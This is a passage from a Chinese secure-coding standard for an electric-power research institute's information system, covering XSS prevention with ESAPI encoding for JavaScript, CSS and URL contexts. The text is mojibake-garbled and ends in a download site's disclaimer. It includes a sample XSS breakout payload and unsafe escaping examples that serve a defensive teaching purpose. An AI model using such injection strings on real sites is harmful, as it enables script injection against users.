44、司 13四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范除了空格符可以閉合當(dāng)前屬性外,這些符號(hào)也可以:% * + , / ; < = > | (反單引號(hào),IE會(huì)認(rèn)為它是單引號(hào))可以使用ESAPI提供的函數(shù)進(jìn)行HTML屬性編碼:String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”);2.5 原則4:在將不可信數(shù)據(jù)插入到SCRIPT里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行SCRIPT編碼這條原則主要針對(duì)動(dòng)態(tài)生成的JavaScript代碼,這包括腳本部分以及HTML標(biāo)簽的事件處理屬性(Eve

45、nt Handler,如onmouseover, onload等)。在往JavaScript代碼里插入數(shù)據(jù)的時(shí)候,只有一種情況是安全的,那就是對(duì)不可信數(shù)據(jù)進(jìn)行JavaScript編碼,并且只把這些數(shù)據(jù)放到使用引號(hào)包圍起來(lái)的值部分(data value)之中,例如:?1 <script>23 var message = “<%= encodeJavaScript(INPUT) %>”;45 </script>除此之外,往JavaScript代碼里其他任何地方插入不可信數(shù)據(jù)都是相當(dāng)危險(xiǎn)的,攻擊者可以很容易地插入攻擊代碼。<script>alert(插

46、入不可信數(shù)據(jù)前,進(jìn)行JavaScript編碼)</script>值部分使用了單引號(hào)<script>x = “插入不可信數(shù)據(jù)前,進(jìn)行JavaScript編碼”</script>值部分使用了雙引號(hào)<div onmouseover=”x=插入不可信數(shù)據(jù)前,進(jìn)行JavaScript編碼 “</div>值部分使用了引號(hào),且事件處理屬性的值部分也使用了引號(hào)特別需要注意的是,在XSS防御中,有些JavaScript函數(shù)是極度危險(xiǎn)的,北京恒華偉業(yè)科技股份有限公司 14四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范就算對(duì)不可信數(shù)據(jù)進(jìn)行JavaScript編碼,也依然會(huì)

47、產(chǎn)生XSS漏洞,例如:<script>window.setInterval(就算對(duì)不可信數(shù)據(jù)進(jìn)行了JavaScript編碼,這里依然會(huì)有XSS漏洞);</script>編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對(duì)其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 xHH (以 x 開(kāi)頭,HH則是指該字符對(duì)應(yīng)的十六進(jìn)制數(shù)字)在對(duì)不可信數(shù)據(jù)做編碼的時(shí)候,千萬(wàn)不能圖方便使用反斜杠( )對(duì)特殊字符進(jìn)行簡(jiǎn)單轉(zhuǎn)義,比如將雙引號(hào) ” 轉(zhuǎn)義成 ” ,這樣做是不可靠的,因?yàn)闉g覽器在對(duì)頁(yè)面做解析的時(shí)候,會(huì)先進(jìn)行HTML解析,然后才是JavaScript解析,所以雙引號(hào)很可能

48、會(huì)被當(dāng)做HTML字符進(jìn)行HTML解析,這時(shí)雙引號(hào)就可以突破代碼的值部分,使得攻擊者可以繼續(xù)進(jìn)行XSS攻擊。例如:假設(shè)代碼片段如下:<script>var message = ” $VAR “;</script>攻擊者輸入的內(nèi)容為:”; alert(xss);/如果只是對(duì)雙引號(hào)進(jìn)行簡(jiǎn)單轉(zhuǎn)義,將其替換成 ” 的話,攻擊者輸入的北京恒華偉業(yè)科技股份有限公司 15四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范內(nèi)容在最終的頁(yè)面上會(huì)變成:?1 <script>23 var message = ” ”; alert(xss);/ “;45 </script>瀏覽器在解析

49、的時(shí)候,會(huì)認(rèn)為反斜杠后面的那個(gè)雙引號(hào)和第一個(gè)雙引號(hào)相匹配,繼而認(rèn)為后續(xù)的alert(xss)是正常的JavaScript腳本,因此允許執(zhí)行。可以使用ESAPI提供的函數(shù)進(jìn)行JavaScript編碼:String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”);2.6 原則5:在將不可信數(shù)據(jù)插入到Style屬性里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行CSS編碼當(dāng)需要往Stylesheet,Style標(biāo)簽或者Style屬性里插入不可信數(shù)據(jù)的時(shí)候,需要對(duì)這些數(shù)據(jù)進(jìn)行CSS編碼。傳統(tǒng)印象里CSS不過(guò)是負(fù)責(zé)

50、頁(yè)面樣式的,但是實(shí)際上它比我們想象的要強(qiáng)大許多,而且還可以用來(lái)進(jìn)行各種攻擊。因此,不要對(duì)CSS里存放不可信數(shù)據(jù)掉以輕心,應(yīng)該只允許把不可信數(shù)據(jù)放入到CSS屬性的值部分,并進(jìn)行適當(dāng)?shù)木幋a。除此以外,最好不要把不可信數(shù)據(jù)放到一些復(fù)雜屬性里,比如url, behavior等,只能被IE認(rèn)識(shí)的Expression屬性允許執(zhí)行JavaScript腳本,因此也不推薦把不可信數(shù)據(jù)放到這里。<style>selector property : 插入不可信數(shù)據(jù)前,進(jìn)行CSS編碼 </style><style>selector property : ”CSS編碼 “ </

51、style><span style=” property : 插入不可信數(shù)據(jù)前,進(jìn)行CSS編碼 ”> </span>北京恒華偉業(yè)科技股份有限公司 16 四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對(duì)其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 HH (以 開(kāi)頭,HH則是指該字符對(duì)應(yīng)的十六進(jìn)制數(shù)字)同原則2,原則3,在對(duì)不可信數(shù)據(jù)進(jìn)行編碼的時(shí)候,切忌投機(jī)取巧對(duì)雙引號(hào)等特殊字符進(jìn)行簡(jiǎn)單轉(zhuǎn)義,攻擊者可以想辦法繞開(kāi)這類限制??梢允褂肊SAPI提供的函數(shù)進(jìn)行CSS編碼:String encodedContent = E

52、SAPI.encoder().encodeForCSS(request.getParameter(“input”);2.7 原則6:在將不可信數(shù)據(jù)插入到HTMLURL里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行URL編碼當(dāng)需要往HTML頁(yè)面中的URL里插入不可信數(shù)據(jù)的時(shí)候,需要對(duì)其進(jìn)行URL編碼,如下:<a href=”?param=插入不可信數(shù)據(jù)前,進(jìn)行URL編碼”> Link Content </a>編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對(duì)其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 %HH (以 % 開(kāi)頭,HH則是指該字符對(duì)應(yīng)的十六進(jìn)制數(shù)字)在對(duì)URL進(jìn)行編碼的

53、時(shí)候,有兩點(diǎn)是需要特別注意的:1) URL屬性應(yīng)該使用引號(hào)將值部分包圍起來(lái),否則攻擊者可以很容易突破當(dāng)前屬性區(qū)域,插入后續(xù)攻擊代碼2) 不要對(duì)整個(gè)URL進(jìn)行編碼,因?yàn)椴豢尚艛?shù)據(jù)可能會(huì)被插入到href, src或者其他以URL為基礎(chǔ)的屬性里,這時(shí)需要對(duì)數(shù)據(jù)的起始部分的協(xié)議字段進(jìn)行驗(yàn)證,否則攻擊者可以改變URL的協(xié)議,例如從HTTP協(xié)議改為DATA偽協(xié)議,或者javascript偽協(xié)議。北京恒華偉業(yè)科技股份有限公司 17四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范可以使用ESAPI提供的函數(shù)進(jìn)行URL編碼:String encodedContent = ESAPI.encoder().encodeForU

54、RL(request.getParameter(“input”);ESAPI還提供了一些用于檢測(cè)不可信數(shù)據(jù)的函數(shù),在這里我們可以使用其來(lái)檢測(cè)不可信數(shù)據(jù)是否真的是一個(gè)URL:?String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = 1 ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, 2 “URL”, 255, false);345 if (isValidURL) 67 <a href=”<%=

55、8 encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>2.8 原則7:使用富文本時(shí),使用XSS規(guī)則引擎進(jìn)行編碼過(guò)濾Web應(yīng)用一般都會(huì)提供用戶輸入富文本信息的功能,比如BBS發(fā)帖,寫博客文章等,用戶提交的富文本信息里往往包含了HTML標(biāo)簽,甚至是JavaScript腳本,如果不對(duì)其進(jìn)行適當(dāng)?shù)木幋a過(guò)濾的話,則會(huì)形成XSS漏洞。但我們又不能因?yàn)楹ε庐a(chǎn)生XSS漏洞,所以就不允許用戶輸入富文本,這樣對(duì)用戶體驗(yàn)傷害很大。針對(duì)富文本的特殊性,我們可以使用XSS規(guī)則引擎對(duì)用戶輸入進(jìn)行編碼過(guò)濾,只允許用戶輸入安全的HTML標(biāo)簽,如<b>, <i>, <p>等,對(duì)其他數(shù)據(jù)進(jìn)行HTML編碼。需要注意的是,經(jīng)過(guò)規(guī)則引擎編碼過(guò)濾后的內(nèi)容只能放在<div>, <p>等安全的HTML標(biāo)簽里,不

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論